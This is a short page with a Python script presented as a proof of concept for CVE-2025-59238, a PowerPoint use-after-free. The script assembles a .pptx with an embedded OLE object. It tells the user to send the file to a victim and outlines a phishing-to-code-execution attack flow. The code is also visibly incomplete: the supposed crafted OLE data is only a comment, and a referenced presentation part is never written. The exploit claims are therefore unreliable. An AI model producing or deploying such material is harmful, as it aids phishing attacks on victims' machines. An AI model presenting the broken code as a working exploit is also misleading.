CVE-2025-59238：Microsoft Office PowerPoint 释放后使用漏洞

# CVE-2025-59238 PoC - Conceptual Exploit for PowerPoint Use After Free # NOTE: This is a conceptual/educational PoC. Actual exploit code requires # deep reverse engineering of the vulnerable PowerPoint component. # # Vulnerability: Use After Free in Microsoft Office PowerPoint # CVSS: 7.8 (HIGH) # Attack Vector: Local, requires user interaction # # The exploit typically involves crafting a malicious .pptx file that triggers # a use-after-free condition when PowerPoint parses specific embedded objects. import struct import zipfile import os import shutil def create_malicious_pptx(output_path): """ Create a malicious PowerPoint file that may trigger CVE-2025-59238. This is a conceptual implementation demonstrating the attack vector. """ # Create a minimal PPTX structure with a crafted embedded object # PPTX files are essentially ZIP archives containing XML files tmp_dir = "/tmp/malicious_pptx" if os.path.exists(tmp_dir): shutil.rmtree(tmp_dir) os.makedirs(tmp_dir) # Content_Types.xml - minimal valid content types content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/ppt/presentation.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml"/> <Override PartName="/ppt/slides/slide1.xml" ContentType="application/vnd.openxmlformats-officedocument.presentationml.slide+xml"/> </Types>''' # Crafted slide with embedded OLE object designed to trigger UAF slide_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <p:sld xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:p="http://schemas.openxmlformats.org/presentationml/2006/main"> <p:cSld> <p:spTree> <p:nvGrpSpPr> <p:cNvPr id="1" name=""/> <p:cNvGrpSpPr/> <p:nvPr/> </p:nvGrpSpPr> <p:grpSpPr/> <p:graphicFrame> <p:nvGraphicFramePr> <p:cNvPr id="2" name="OLE Object"/> <p:cNvGraphicFramePr/> <p:nvPr/> </p:nvGraphicFramePr> <p:xfrm> <a:off x="0" y="0"/> <a:ext cx="9144000" cy="6858000"/> </p:xfrm> <a:graphic> <a:graphicData uri="http://schemas.openxmlformats.org/presentationml/2006/ole"> <p:oleObj spid="_x0000_s1026" name="ShockwaveFlash.ShockwaveFlash"> <!-- Crafted OLE data to trigger use-after-free --> <p:objectPr/> </p:oleObj> </a:graphicData> </a:graphic> </p:graphicFrame> </p:spTree> </p:cSld> </p:sld>''' # Write files os.makedirs(os.path.join(tmp_dir, "_rels")) os.makedirs(os.path.join(tmp_dir, "ppt", "slides")) os.makedirs(os.path.join(tmp_dir, "ppt", "_rels")) with open(os.path.join(tmp_dir, "[Content_Types].xml"), "w") as f: f.write(content_types) with open(os.path.join(tmp_dir, "ppt", "slides", "slide1.xml"), "w") as f: f.write(slide_xml) # Package as PPTX (ZIP) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(tmp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, tmp_dir) zf.write(file_path, arcname) print(f"[*] Malicious PPTX created: {output_path}") print(f"[*] Send this file to the victim and wait for them to open it.") if __name__ == "__main__": create_malicious_pptx("CVE-2025-59238_poc.pptx") # --- Attack Flow --- # 1. Attacker crafts malicious .pptx file (as shown above) # 2. Attacker sends file via phishing email or other social engineering # 3. Victim opens the file in Microsoft PowerPoint # 4. PowerPoint parses the embedded OLE object, triggering UAF # 5. Attacker code executes in the context of the PowerPoint process # 6. Attacker gains code execution on victim's machine